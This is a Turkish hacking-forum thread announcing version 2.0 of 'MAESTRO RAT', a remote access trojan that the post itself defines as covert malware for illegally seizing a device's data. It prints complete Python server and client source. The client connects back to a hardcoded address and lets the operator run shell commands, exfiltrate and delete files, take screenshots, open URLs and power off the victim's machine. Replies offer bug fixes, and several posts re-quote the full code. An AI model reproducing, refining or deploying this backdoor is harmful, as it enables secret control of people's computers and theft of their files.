MAESTRO RAT v2.0 Update !!! Dijital Dünyada Kontrol Sizde!

narkotix7

Üye
1 Ara 2023
133
58
Mersin
q39y8g3.png


İyi Forumlar Türk Hack Team.

Bu konuda MAESTRO RAT'ın yeni ve güçlü sürümü olan MAESTRO RAT V2.0' İle Karşınızdayım.

MAESTRO RAT V2.0'ın sunduğu yenilikleri ve özellikleri inceleyeceğiz.

Maestro Rat'ın İlk Sürümüne Aşağıya Tıklayarak Ulaşabilirsiniz.

MAESTRO RAT V1.0


sjh1yjm.png

RAT Nedir?
Bir cihazda (bilgisayar, telefon, tablet vb.) arka planda, cihaz sahibinin bilgisi dışında -gizlice- çalışan ve cihazın içindeki bilgilerin başka kişilerce 'yasa dışı bir şekilde' ele geçirilmesine veya cihazın yasa dışı işlemlerde kullanılmasına yardım eden trojan'ların genel ismidir.

sjh1yjm.png


MAESTRO RAT V2.0 YENİ EKLENEN KOMUTLAR

screenshot > istemciden Ekran Görüntüsü Alır.
download > İstemciden Dosya İndirir.
upload > İstemciye Dosya Yükler.
browser > İstemcide belirtilen Url'yi Açar.
restart > İstemciyi Yeniden Başlatır.
poweroff > İstemciyi Kapatır.

server.py
Python:
import socket
import argparse
import threading
import os


commands = [
    ("exit", "İstemci bağlantısını sonlandırır."),
    ("execute", "Belirli bir terminal komutunu istemcide çalıştırır."),
    ("openfile [dosya_adı]", "Belirtilen dosyanın içeriğini sunucudan istemciye gönderir."),
    ("deletefile [dosya_adı]", "Belirtilen dosyayı siler."),
    ("deletedirectory [dizin_adı]", "Belirtilen dizini siler."),
    ("ls / dir", "İstemcideki mevcut dizinin içeriğini listeler."),
    ("cd [hedef_klasör]", "İstemcideki çalışma dizinini değiştirir."),
    ("createdirectory [klasör_adı]", "Yeni bir klasör oluşturur."),
    ("createfile [dosya_adı]", "Yeni bir dosya oluşturur."),
    ("editfile [metin] >> [dosya_adı]", "Belirtilen dosyanın sonuna metin ekler."),
    ("whoami", "İstemcide oturum açmış kullanıcıyı döndürür."),
    ("ifconfig", "İstemcinin ağ bilgilerini döndürür."),
    ("cpu", "İstemcinin CPU bilgilerini döndürür."),
    ("memory", "İstemcinin bellek kullanım bilgilerini döndürür."),
    ("osinfo", "İstemcinin işletim sistemi bilgilerini döndürür."),
    ("browser [url]", "Belirtilen URL'yi istemcide açar."),
    ("upload", "İstemciden sunucuya dosya yükler."),
    ("download", "İstemciden istemciye dosya indirir."),
    ("screenshot", "İstemcinin ekran görüntüsünü alır."),
    ("restart", "İstemciyi yeniden başlatır."),
    ("poweroff", "İstemciyi kapatır."),
    ("cd [dizin]", "Dizini değiştirir."),
    ("clear", "Terminali temizler.")
]

print("{:<40} {}".format("Komut", "Açıklama"))
print("="*60)
for command, description in commands:
    print("{:<40} {}".format(command, description))


def handle_client(conn, addr):
    print(f"Bağlantı alındı: {addr}")

    try:
        while True:
            try:
                komut = input("Komutu giriniz ('exit' yazarak çıkabilirsiniz): ")
                conn.send(komut.encode())
        
                if komut == 'exit':
                    break
        
                elif not komut:
                    continue
            
                elif komut == 'commandlist' :
                    print("{:<40} {}".format("Komut", "Açıklama"))
                    print("="*60)
            
                elif komut == 'clear':
                    x = os.name
                    if x == 'posix':
                        os.system('clear')
                    else:
                        os.system('cls')               

                elif komut == 'execute':
                    print("Lütfen 'execute' komutu için bir komut girin:")
                    islem = input()
                    conn.send(islem.encode())
                    received_data = conn.recv(8192)
                    print(received_data.decode(errors='ignore'))
        
                        
                elif komut == 'upload':
                    islem = input("Upload edilecek dosya ismini giriniz : ")
                    dosya_adi = islem
                    conn.send(dosya_adi.encode())
                    try:
                        with open(dosya_adi, 'rb') as file:
                            while (data := file.read(8192)):
                                conn.send(data)
                            conn.send('UPLOAD_COMPLETE'.encode())
                            print(f'{dosya_adi} başarılı bir şekilde upload edildi.')
                    except FileNotFoundError:
                        print('HATA: Dosya bulunamadı.')
                                
                elif komut == 'download':
                    islem = input("İndirilecek Dosya İsmini Giriniz : ")
                    conn.send(islem.encode())
                    with open(islem, 'wb') as file:
                        while True:
                            data = conn.recv(8192)
                            if data.endswith('DOWNLOAD_COMPLETE'.encode()):
                                data = data[:-len('DOWNLOAD_COMPLETE'.encode())]
                                file.write(data)
                                break
                            file.write(data)
                        print(f"{islem} dosyası başarılı bir şekilde bulunduğunuz dizine indirildi.[√]")
                            
                elif komut == 'screenshot':
                    with open('screenshothacked.png', 'wb') as file:
                        while True:
                            file_data = conn.recv(8192)
                            if file_data.endswith(b"screenshot_complete"):
                                file_data = file_data[:-len("screenshot_complete")]
                                file.write(file_data)
                                break
                            file.write(file_data)
                        print("Ekran görüntüsü bulunduğunuz dizine kayıt edildi.")
            
                elif komut.startswith('browser'):
                    link = komut.split(" ", 1)[1]
                    conn.send(link.encode())
                    sonuc = conn.recv(8192).decode()
                    print(sonuc)
        
                else:
                    received_data = conn.recv(8192)
                    print(received_data.decode(errors='ignore'))
            
            except Exception as e:
                print(f"Hata: {str(e)}")
                break

    except Exception as e:
        print(f"Bağlantı hatası: {str(e)}")

    finally:
        conn.close()

def main():
    parser = argparse.ArgumentParser(description='MAESTRO RAT v1.0 - Arka Kapı')
    parser.add_argument('-lhost', dest='ip', help='Hedef IP adresi', required=True)
    parser.add_argument('-lport', dest='port', help='Hedef port numarası', required=True)
    args = parser.parse_args()

    ip = args.ip
    port = int(args.port)

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((ip, port))
        s.listen(5)
        print(f"{ip}:{port} dinleniyor...")

        while True:
            try:
                conn, addr = s.accept()
                client_thread = threading.Thread(target=handle_client, args=(conn, addr))
                client_thread.start()
            except Exception as e:
                print(f"Bağlantı kabul hatası: {str(e)}")

if __name__ == "__main__":
    main()

client.py
Python:
import socket
import subprocess
import os
import psutil
from psutil._common import bytes2human
import platform
import webbrowser
import pyautogui


def get_os_info():
    return platform.platform()

def get_cpu_info():
    cpu_info = ""
    for num, percent in enumerate(psutil.cpu_percent(percpu=True)):
        cpu_info += f"CPU{num}: {percent}%\n"
    return cpu_info

def get_memory_info():
    try:
        result = subprocess.run(['free'], capture_output=True, shell=True)
        if result.returncode == 0:
            return result.stdout.strip()
        else:
            return f"Error: {result.stderr.strip()}"
    except Exception as e:
        return f"Error: {str(e)}"
       
def get_network_info():
    network_info = ""
    af_map = {
        socket.AF_INET: 'IPv4',
        socket.AF_INET6: 'IPv6',
    }
    interfaces = psutil.net_if_addrs()
    for interface, addresses in interfaces.items():
        network_info += f"Ağ Arayüzü: {interface}\n"
        for addr in addresses:
            network_info += f" Adres Türü: {af_map.get(addr.family, addr.family)}\n"
            network_info += f" Adres: {addr.address}\n"
            if addr.broadcast:
                network_info += f" Yayın Adresi: {addr.broadcast}\n"
            if addr.netmask:
                network_info += f" Ağ Maskesi: {addr.netmask}\n"
    return network_info

def execute_command(command):
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)
        if result.returncode == 0:
            return result.stdout.strip()
        else:
            return f"Error: {result.stderr.strip()}"
    except Exception as e:
        return f"Error: {str(e)}"
       

def main():
    ip = '192.168.1.36'
    port = 4545 

    while True:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((ip, port))
            print("Sunucuya bağlanıldı.")
       
            while True:
                command = s.recv(8192).decode()
               
                if not command:
                    continue

                if command == 'exit':
                    break

                elif command == 'execute':
                    komut = s.recv(8192).decode()
                    output = execute_command(komut)
                    s.send(output.encode())

                elif command.startswith('openfile'):
                    dosya_adi = command.split(" ", 1)[1]
                    try:
                        with open(dosya_adi, "r") as dosya:
                            icerik = dosya.read()
                        s.sendall(icerik.encode())
                    except FileNotFoundError:
                        s.send("Dosya bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.startswith('deletefile'):
                    dosya_adi = command.split(" ", 1)[1]
                    try:
                        os.remove(dosya_adi)
                        s.send(f"{dosya_adi} başarıyla silindi.".encode())
                    except FileNotFoundError:
                        s.send(f"{dosya_adi} bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.startswith('deletedirectory'):
                    hedef_dizin = command.split(" ", 1)[1]
                    try:
                        os.rmdir(hedef_dizin)
                        s.send(f"{hedef_dizin} başarıyla silindi.".encode())
                    except FileNotFoundError:
                        s.send(f"{hedef_dizin} bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())
                   
                elif command.startswith('ls') or command.startswith('dir'):
                    dosyalar = os.listdir()
                    if dosyalar:
                        s.send("\n".join(dosyalar).encode())
                    else:
                        s.send("Dizin boş".encode())

                elif command.startswith('cd'):
                    hedefklasor = command.split(" ", 1)[1]
                    try:
                        os.chdir(hedefklasor)
                        s.send(f"Dizin değiştirildi: {os.getcwd()}".encode())
                    except FileNotFoundError:
                        s.send("Hata: Dizin bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.startswith('createdirectory'):
                    hedefklasor = command.split(" ", 1)[1]
                    try:
                        os.mkdir(hedefklasor)
                        s.send(f"{hedefklasor} başarıyla oluşturuldu.".encode())
                    except FileExistsError:
                        s.send(f"{hedefklasor} zaten var.".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.startswith("createfile"):
                    dosyaisim = command.split(" ", 1)[1]
                    with open(dosyaisim, "w") as dosya:
                        pass
                    s.send("Dosya oluşturuldu.".encode())
           
                elif command.startswith("editfile"):
                    komut_parcalari = command.split(" ")
                    dosya_isim_index = komut_parcalari.index(">>") + 1
                    dosya_isim = komut_parcalari[dosya_isim_index]
                    metin = " ".join(komut_parcalari[1:dosya_isim_index-1])
                    with open(dosyaisim, "a") as dosya:
                        dosya.write(metin)
                    s.send("Metin dosya sonuna eklendi.".encode())
                   
               
   
                   

                elif command == "whoami":
                    cikti = subprocess.run
                    cikti = subprocess.run(['whoami'], capture_output=True, text=True)
                    s.send(cikti.stdout.encode())
               
                elif command == "ifconfig":
                    x = get_network_info()
                    s.send(x.encode())
               
                elif command == "cpu":
                    x = get_cpu_info()
                    s.send(x.encode())
               
                elif command == "memory":
                    x = get_memory_info()
                    s.send(x)
               
                elif command == "osinfo":
                    os_info = get_os_info()
                    s.send(os_info.encode())
                   
                elif command == 'upload':
                    dosya_adi = s.recv(8192).decode()
                    with open(dosya_adi, 'wb') as file:
                        while True:
                            data = s.recv(8192)
                            if data.endswith('UPLOAD_COMPLETE'.encode()):
                                file.write(data[:-len('UPLOAD_COMPLETE'.encode())])
                                break
                            file.write(data)
                           
                       
                elif command == 'download':
                    dosya_adi = s.recv(8192).decode()
                    try:
                        with open(dosya_adi, 'rb') as file:
                            while (data := file.read(819229383)):
                                if not data:
                                    s.send('Dosya boş'.encode())
                                    continue
                                else:   
                                    s.send(data)
                                    s.send('DOWNLOAD_COMPLETE'.encode())
                    except FileNotFoundError:
                        s.send('HATA: Dosya bulunamadı.'.encode())
       
                elif command == 'screenshot':
                    screenshot = pyautogui.screenshot()
                    screenshot.save("hacked.png")
                    with open("hacked.png", 'rb') as file:
                        while True:
                            file_data = file.read(8192)
                            if not file_data:
                                break
                            s.send(file_data)
                    os.remove("hacked.png")
                    s.send("screenshot_complete".encode())
                   
                elif command.startswith('browser'):
                    link = command.split(" ", 1)[1]
                    if not link.startswith(("http://", "https://")):
                        link = "http://" + link
                    try:
                        webbrowser.open(link)
                        s.send('Url Açıldı.'.encode())
                    except Exception as e:
                        s.send(f'Url açılırken hata oluştu: {str(e)}'.encode())
                       
                elif command == 'restart':
                    x = os.name
                    if x == 'posix':
                        result = subprocess.run(['sudo', 'reboot'], shell=True, capture_output=True, text=True)
                    elif x == 'nt':
                        result = subprocess.run(['shutdown', '/r', '/t', '0'], shell=True, capture_output=True, text=True)
                   
                    if result.returncode == 0: 
                        s.send(result.stdout.strip().encode())
                    else:
                        s.send(result.stderr.strip().encode())
                       
                elif command == 'poweroff':
                    x = os.name
                    if x == 'posix':
                        result = subprocess.run(['shutdown', '-h', 'now'], shell=True, capture_output=True, text=True)
                    elif x == 'nt':
                        result = subprocess.run(['shutdown', '/s'], shell=True, capture_output=True, text=True)
                   
                    if result.returncode == 0: 
                        s.send(result.stdout.strip().encode())
                    else:
                        s.send(result.stderr.strip().encode())
                       
                       
                else:
                    s.send("Geçersiz komut.".encode())
            

if __name__ == "__main__":
    main()



MAESTRO RAT V2.0' DAN GÖRÜNTÜLER

fu1iwpm.jpg


DOWNLOAD & UPLOAD & SCREENSHOT


tt26iga.jpg




Github'dan İndirmek veya Görüntülemek İsterseniz Aşağıdan Ulaşabilirsiniz.

GİTHUB

Hata, Bug ve Önerilerinizi Aşağıda Açıkca Belirtebilirsiniz. Gelecek Sürüm Daha İyi Olucak. Görüşmek Üzere.🙂👋

logo.png
 
Son düzenleme:

Ogehan

-
5 Haz 2016
2,182
276
$app->execute();
Eline sağlık fakat hatalar mevcut örnek olarak ;
-
-
handle_client fonksiyonunda bağlantı kapatma durumu tam olarak belirtilmemiş. Özellikle bağlantı sonlandırma durumunda finally bloğunda kapatılıyor fakat hatalarda conn.close() çağrılmıyor.
-
-

İkinci Olarak ;
-
-

DOWNLOAD_COMPLETE kontrolü sırasında data.endswith() metodu ile karşılaştırma yapılırken, bu ifadenin tam olarak nasıl kodlanacağı eksik. data.endswith(b'DOWNLOAD_COMPLETE') şeklinde olmalı.
-
-

Son Olarak Gördüğüm İse;
-
-

execute komutunu çalıştırma kısmında, komut gönderildikten sonra islem değişkeni için ayrıca bir gönderme işlemi daha var. Bu şekilde ikinci bir conn.send() işlemi yapmanız gerekmiyor.
-
-

Onun dışında eline emeğine sağlık geliştirilebilir bravo 👏 ❤️
 

narkotix7

Üye
1 Ara 2023
133
58
Mersin
Eline sağlık fakat hatalar mevcut örnek olarak ;
-
-
handle_client fonksiyonunda bağlantı kapatma durumu tam olarak belirtilmemiş. Özellikle bağlantı sonlandırma durumunda finally bloğunda kapatılıyor fakat hatalarda conn.close() çağrılmıyor.
-
-

İkinci Olarak ;
-
-

DOWNLOAD_COMPLETE kontrolü sırasında data.endswith() metodu ile karşılaştırma yapılırken, bu ifadenin tam olarak nasıl kodlanacağı eksik. data.endswith(b'DOWNLOAD_COMPLETE') şeklinde olmalı.
-
-

Son Olarak Gördüğüm İse;
-
-

execute komutunu çalıştırma kısmında, komut gönderildikten sonra islem değişkeni için ayrıca bir gönderme işlemi daha var. Bu şekilde ikinci bir conn.send() işlemi yapmanız gerekmiyor.
-
-

Onun dışında eline emeğine sağlık geliştirilebilir bravo 👏 ❤️
Teşekkürler. conn.close() için haklısınız diğer sürümde düzeltme yapıcağım. 2. olarak byte string ile Ascii hatası alıyorum. bu şekildede çalışıyor. 3. Execute çalışma mantığı input ile alıyor komutu. yani kullanıcı şu şekilde ;
Python:
Komut Giriniz : execute
execute için bir komut giriniz :
yani ayrı oldukları için iki defa gönderim uyguluyor. client.py ise ilk başta execute recv ile alıyor ise bir recv daha bekliyor shell komutu için iyi günler eleştiri için teşekkürler.
 

ramodigitalmaestro

Yeni üye
25 May 2024
3
1
q39y8g3.png


İyi Forumlar Türk Hack Team.

Bu konuda MAESTRO RAT'ın yeni ve güçlü sürümü olan MAESTRO RAT V2.0' İle Karşınızdayım.

MAESTRO RAT V2.0'ın sunduğu yenilikleri ve özellikleri inceleyeceğiz.

Maestro Rat'ın İlk Sürümüne Aşağıya Tıklayarak Ulaşabilirsiniz.

MAESTRO RAT V1.0


sjh1yjm.png

RAT Nedir?
Bir cihazda (bilgisayar, telefon, tablet vb.) arka planda, cihaz sahibinin bilgisi dışında -gizlice- çalışan ve cihazın içindeki bilgilerin başka kişilerce 'yasa dışı bir şekilde' ele geçirilmesine veya cihazın yasa dışı işlemlerde kullanılmasına yardım eden trojan'ların genel ismidir.

sjh1yjm.png


MAESTRO RAT V2.0 YENİ EKLENEN KOMUTLAR

screenshot > istemciden Ekran Görüntüsü Alır.
download > İstemciden Dosya İndirir.
upload > İstemciye Dosya Yükler.
browser > İstemcide belirtilen Url'yi Açar.
restart > İstemciyi Yeniden Başlatır.
poweroff > İstemciyi Kapatır.

server.py
Python:
import socket
import argparse
import threading
import os


commands = [
    ("exit", "İstemci bağlantısını sonlandırır."),
    ("execute", "Belirli bir terminal komutunu istemcide çalıştırır."),
    ("openfile [dosya_adı]", "Belirtilen dosyanın içeriğini sunucudan istemciye gönderir."),
    ("deletefile [dosya_adı]", "Belirtilen dosyayı siler."),
    ("deletedirectory [dizin_adı]", "Belirtilen dizini siler."),
    ("ls / dir", "İstemcideki mevcut dizinin içeriğini listeler."),
    ("cd [hedef_klasör]", "İstemcideki çalışma dizinini değiştirir."),
    ("createdirectory [klasör_adı]", "Yeni bir klasör oluşturur."),
    ("createfile [dosya_adı]", "Yeni bir dosya oluşturur."),
    ("editfile [metin] >> [dosya_adı]", "Belirtilen dosyanın sonuna metin ekler."),
    ("whoami", "İstemcide oturum açmış kullanıcıyı döndürür."),
    ("ifconfig", "İstemcinin ağ bilgilerini döndürür."),
    ("cpu", "İstemcinin CPU bilgilerini döndürür."),
    ("memory", "İstemcinin bellek kullanım bilgilerini döndürür."),
    ("osinfo", "İstemcinin işletim sistemi bilgilerini döndürür."),
    ("browser [url]", "Belirtilen URL'yi istemcide açar."),
    ("upload", "İstemciden sunucuya dosya yükler."),
    ("download", "İstemciden istemciye dosya indirir."),
    ("screenshot", "İstemcinin ekran görüntüsünü alır."),
    ("restart", "İstemciyi yeniden başlatır."),
    ("poweroff", "İstemciyi kapatır."),
    ("cd [dizin]", "Dizini değiştirir."),
    ("clear", "Terminali temizler.")
]

print("{:<40} {}".format("Komut", "Açıklama"))
print("="*60)
for command, description in commands:
    print("{:<40} {}".format(command, description))


def handle_client(conn, addr):
    print(f"Bağlantı alındı: {addr}")

    try:
        while True:
            try:
                komut = input("Komutu giriniz ('exit' yazarak çıkabilirsiniz): ")
                conn.send(komut.encode())
       
                if komut == 'exit':
                    break
       
                elif not komut:
                    continue
           
                elif komut == 'commandlist' :
                    print("{:<40} {}".format("Komut", "Açıklama"))
                    print("="*60)
           
                elif komut == 'clear':
                    x = os.name
                    if x == 'posix':
                        os.system('clear')
                    else:
                        os.system('cls')              

                elif komut == 'execute':
                    print("Lütfen 'execute' komutu için bir komut girin:")
                    islem = input()
                    conn.send(islem.encode())
                    received_data = conn.recv(8192)
                    print(received_data.decode(errors='ignore'))
       
                       
                elif komut == 'upload':
                    islem = input("Upload edilecek dosya ismini giriniz : ")
                    dosya_adi = islem
                    conn.send(dosya_adi.encode())
                    try:
                        with open(dosya_adi, 'rb') as file:
                            while (data := file.read(8192)):
                                conn.send(data)
                            conn.send('UPLOAD_COMPLETE'.encode())
                            print(f'{dosya_adi} başarılı bir şekilde upload edildi.')
                    except FileNotFoundError:
                        print('HATA: Dosya bulunamadı.')
                               
                elif komut == 'download':
                    islem = input("İndirilecek Dosya İsmini Giriniz : ")
                    conn.send(islem.encode())
                    with open(islem, 'wb') as file:
                        while True:
                            data = conn.recv(8192)
                            if data.endswith('DOWNLOAD_COMPLETE'.encode()):
                                data = data[:-len('DOWNLOAD_COMPLETE'.encode())]
                                file.write(data)
                                break
                            file.write(data)
                        print(f"{islem} dosyası başarılı bir şekilde bulunduğunuz dizine indirildi.[√]")
                           
                elif komut == 'screenshot':
                    with open('screenshothacked.png', 'wb') as file:
                        while True:
                            file_data = conn.recv(8192)
                            if file_data.endswith(b"screenshot_complete"):
                                file_data = file_data[:-len("screenshot_complete")]
                                file.write(file_data)
                                break
                            file.write(file_data)
                        print("Ekran görüntüsü bulunduğunuz dizine kayıt edildi.")
           
                elif komut.startswith('browser'):
                    link = komut.split(" ", 1)[1]
                    conn.send(link.encode())
                    sonuc = conn.recv(8192).decode()
                    print(sonuc)
       
                else:
                    received_data = conn.recv(8192)
                    print(received_data.decode(errors='ignore'))
           
            except Exception as e:
                print(f"Hata: {str(e)}")
                break

    except Exception as e:
        print(f"Bağlantı hatası: {str(e)}")

    finally:
        conn.close()

def main():
    parser = argparse.ArgumentParser(description='MAESTRO RAT v1.0 - Arka Kapı')
    parser.add_argument('-lhost', dest='ip', help='Hedef IP adresi', required=True)
    parser.add_argument('-lport', dest='port', help='Hedef port numarası', required=True)
    args = parser.parse_args()

    ip = args.ip
    port = int(args.port)

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((ip, port))
        s.listen(5)
        print(f"{ip}:{port} dinleniyor...")

        while True:
            try:
                conn, addr = s.accept()
                client_thread = threading.Thread(target=handle_client, args=(conn, addr))
                client_thread.start()
            except Exception as e:
                print(f"Bağlantı kabul hatası: {str(e)}")

if __name__ == "__main__":
    main()

client.py
Python:
import socket
import subprocess
import os
import psutil
from psutil._common import bytes2human
import platform
import webbrowser
import pyautogui


def get_os_info():
    return platform.platform()

def get_cpu_info():
    cpu_info = ""
    for num, percent in enumerate(psutil.cpu_percent(percpu=True)):
        cpu_info += f"CPU{num}: {percent}%\n"
    return cpu_info

def get_memory_info():
    try:
        result = subprocess.run(['free'], capture_output=True, shell=True)
        if result.returncode == 0:
            return result.stdout.strip()
        else:
            return f"Error: {result.stderr.strip()}"
    except Exception as e:
        return f"Error: {str(e)}"
      
def get_network_info():
    network_info = ""
    af_map = {
        socket.AF_INET: 'IPv4',
        socket.AF_INET6: 'IPv6',
    }
    interfaces = psutil.net_if_addrs()
    for interface, addresses in interfaces.items():
        network_info += f"Ağ Arayüzü: {interface}\n"
        for addr in addresses:
            network_info += f" Adres Türü: {af_map.get(addr.family, addr.family)}\n"
            network_info += f" Adres: {addr.address}\n"
            if addr.broadcast:
                network_info += f" Yayın Adresi: {addr.broadcast}\n"
            if addr.netmask:
                network_info += f" Ağ Maskesi: {addr.netmask}\n"
    return network_info

def execute_command(command):
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)
        if result.returncode == 0:
            return result.stdout.strip()
        else:
            return f"Error: {result.stderr.strip()}"
    except Exception as e:
        return f"Error: {str(e)}"
      

def main():
    ip = '192.168.1.36'
    port = 4545

    while True:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((ip, port))
            print("Sunucuya bağlanıldı.")
      
            while True:
                command = s.recv(8192).decode()
              
                if not command:
                    continue

                if command == 'exit':
                    break

                elif command == 'execute':
                    komut = s.recv(8192).decode()
                    output = execute_command(komut)
                    s.send(output.encode())

                elif command.startswith('openfile'):
                    dosya_adi = command.split(" ", 1)[1]
                    try:
                        with open(dosya_adi, "r") as dosya:
                            icerik = dosya.read()
                        s.sendall(icerik.encode())
                    except FileNotFoundError:
                        s.send("Dosya bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.startswith('deletefile'):
                    dosya_adi = command.split(" ", 1)[1]
                    try:
                        os.remove(dosya_adi)
                        s.send(f"{dosya_adi} başarıyla silindi.".encode())
                    except FileNotFoundError:
                        s.send(f"{dosya_adi} bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.startswith('deletedirectory'):
                    hedef_dizin = command.split(" ", 1)[1]
                    try:
                        os.rmdir(hedef_dizin)
                        s.send(f"{hedef_dizin} başarıyla silindi.".encode())
                    except FileNotFoundError:
                        s.send(f"{hedef_dizin} bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())
                  
                elif command.startswith('ls') or command.startswith('dir'):
                    dosyalar = os.listdir()
                    if dosyalar:
                        s.send("\n".join(dosyalar).encode())
                    else:
                        s.send("Dizin boş".encode())

                elif command.startswith('cd'):
                    hedefklasor = command.split(" ", 1)[1]
                    try:
                        os.chdir(hedefklasor)
                        s.send(f"Dizin değiştirildi: {os.getcwd()}".encode())
                    except FileNotFoundError:
                        s.send("Hata: Dizin bulunamadı".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.startswith('createdirectory'):
                    hedefklasor = command.split(" ", 1)[1]
                    try:
                        os.mkdir(hedefklasor)
                        s.send(f"{hedefklasor} başarıyla oluşturuldu.".encode())
                    except FileExistsError:
                        s.send(f"{hedefklasor} zaten var.".encode())
                    except Exception as e:
                        s.send(f"Hata: {str(e)}".encode())

                elif command.startswith("createfile"):
                    dosyaisim = command.split(" ", 1)[1]
                    with open(dosyaisim, "w") as dosya:
                        pass
                    s.send("Dosya oluşturuldu.".encode())
          
                elif command.startswith("editfile"):
                    komut_parcalari = command.split(" ")
                    dosya_isim_index = komut_parcalari.index(">>") + 1
                    dosya_isim = komut_parcalari[dosya_isim_index]
                    metin = " ".join(komut_parcalari[1:dosya_isim_index-1])
                    with open(dosyaisim, "a") as dosya:
                        dosya.write(metin)
                    s.send("Metin dosya sonuna eklendi.".encode())
                  
              
  
                  

                elif command == "whoami":
                    cikti = subprocess.run
                    cikti = subprocess.run(['whoami'], capture_output=True, text=True)
                    s.send(cikti.stdout.encode())
              
                elif command == "ifconfig":
                    x = get_network_info()
                    s.send(x.encode())
              
                elif command == "cpu":
                    x = get_cpu_info()
                    s.send(x.encode())
              
                elif command == "memory":
                    x = get_memory_info()
                    s.send(x)
              
                elif command == "osinfo":
                    os_info = get_os_info()
                    s.send(os_info.encode())
                  
                elif command == 'upload':
                    dosya_adi = s.recv(8192).decode()
                    with open(dosya_adi, 'wb') as file:
                        while True:
                            data = s.recv(8192)
                            if data.endswith('UPLOAD_COMPLETE'.encode()):
                                file.write(data[:-len('UPLOAD_COMPLETE'.encode())])
                                break
                            file.write(data)
                          
                      
                elif command == 'download':
                    dosya_adi = s.recv(8192).decode()
                    try:
                        with open(dosya_adi, 'rb') as file:
                            while (data := file.read(819229383)):
                                if not data:
                                    s.send('Dosya boş'.encode())
                                    continue
                                else:  
                                    s.send(data)
                                    s.send('DOWNLOAD_COMPLETE'.encode())
                    except FileNotFoundError:
                        s.send('HATA: Dosya bulunamadı.'.encode())
      
                elif command == 'screenshot':
                    screenshot = pyautogui.screenshot()
                    screenshot.save("hacked.png")
                    with open("hacked.png", 'rb') as file:
                        while True:
                            file_data = file.read(8192)
                            if not file_data:
                                break
                            s.send(file_data)
                    os.remove("hacked.png")
                    s.send("screenshot_complete".encode())
                  
                elif command.startswith('browser'):
                    link = command.split(" ", 1)[1]
                    if not link.startswith(("http://", "https://")):
                        link = "http://" + link
                    try:
                        webbrowser.open(link)
                        s.send('Url Açıldı.'.encode())
                    except Exception as e:
                        s.send(f'Url açılırken hata oluştu: {str(e)}'.encode())
                      
                elif command == 'restart':
                    x = os.name
                    if x == 'posix':
                        result = subprocess.run(['sudo', 'reboot'], shell=True, capture_output=True, text=True)
                    elif x == 'nt':
                        result = subprocess.run(['shutdown', '/r', '/t', '0'], shell=True, capture_output=True, text=True)
                  
                    if result.returncode == 0:
                        s.send(result.stdout.strip().encode())
                    else:
                        s.send(result.stderr.strip().encode())
                      
                elif command == 'poweroff':
                    x = os.name
                    if x == 'posix':
                        result = subprocess.run(['shutdown', '-h', 'now'], shell=True, capture_output=True, text=True)
                    elif x == 'nt':
                        result = subprocess.run(['shutdown', '/s'], shell=True, capture_output=True, text=True)
                  
                    if result.returncode == 0:
                        s.send(result.stdout.strip().encode())
                    else:
                        s.send(result.stderr.strip().encode())
                      
                      
                else:
                    s.send("Geçersiz komut.".encode())
           

if __name__ == "__main__":
    main()



MAESTRO RAT V2.0' DAN GÖRÜNTÜLER

fu1iwpm.jpg


DOWNLOAD & UPLOAD & SCREENSHOT


tt26iga.jpg




Github'dan İndirmek veya Görüntülemek İsterseniz Aşağıdan Ulaşabilirsiniz.

GİTHUB

Hata, Bug ve Önerilerinizi Aşağıda Açıkca Belirtebilirsiniz. Gelecek Sürüm Daha İyi Olucak. Görüşmek Üzere.🙂👋

logo.png
Elinize sağlık.
 

Yuso.

Üye
9 Ağu 2023
156
18
q39y8g3.png


İyi Forumlar Türk Hack Team.

Bu konuda MAESTRO RAT'ın yeni ve güçlü sürümü olan MAESTRO RAT V2.0' İle Karşınızdayım.

MAESTRO RAT V2.0'ın sunduğu yenilikleri ve özellikleri inceleyeceğiz.

Maestro Rat'ın İlk Sürümüne Aşağıya Tıklayarak Ulaşabilirsiniz.

MAESTRO RAT V1.0


sjh1yjm.png

RAT Nedir?
Bir cihazda (bilgisayar, telefon, tablet vb.) arka planda, cihaz sahibinin bilgisi dışında -gizlice- çalışan ve cihazın içindeki bilgilerin başka kişilerce 'yasa dışı bir şekilde' ele geçirilmesine veya cihazın yasa dışı işlemlerde kullanılmasına yardım eden trojan'ların genel ismidir.

sjh1yjm.png


MAESTRO RAT V2.0 YENİ EKLENEN KOMUTLAR

screenshot > istemciden Ekran Görüntüsü Alır.
download > İstemciden Dosya İndirir.
upload > İstemciye Dosya Yükler.
browser > İstemcide belirtilen Url'yi Açar.
restart > İstemciyi Yeniden Başlatır.
poweroff > İstemciyi Kapatır.

server.py
Python:
import socket
import argparse
import threading
import os


commands = [
    ("exit", "İstemci bağlantısını sonlandırır."),
    ("execute", "Belirli bir terminal komutunu istemcide çalıştırır."),
    ("openfile [dosya_adı]", "Belirtilen dosyanın içeriğini sunucudan istemciye gönderir."),
    ("deletefile [dosya_adı]", "Belirtilen dosyayı siler."),
    ("deletedirectory [dizin_adı]", "Belirtilen dizini siler."),
    ("ls / dir", "İstemcideki mevcut dizinin içeriğini listeler."),
    ("cd [hedef_klasör]", "İstemcideki çalışma dizinini değiştirir."),
    ("createdirectory [klasör_adı]", "Yeni bir klasör oluşturur."),
    ("createfile [dosya_adı]", "Yeni bir dosya oluşturur."),
    ("editfile [metin] >> [dosya_adı]", "Belirtilen dosyanın sonuna metin ekler."),
    ("whoami", "İstemcide oturum açmış kullanıcıyı döndürür."),
    ("ifconfig", "İstemcinin ağ bilgilerini döndürür."),
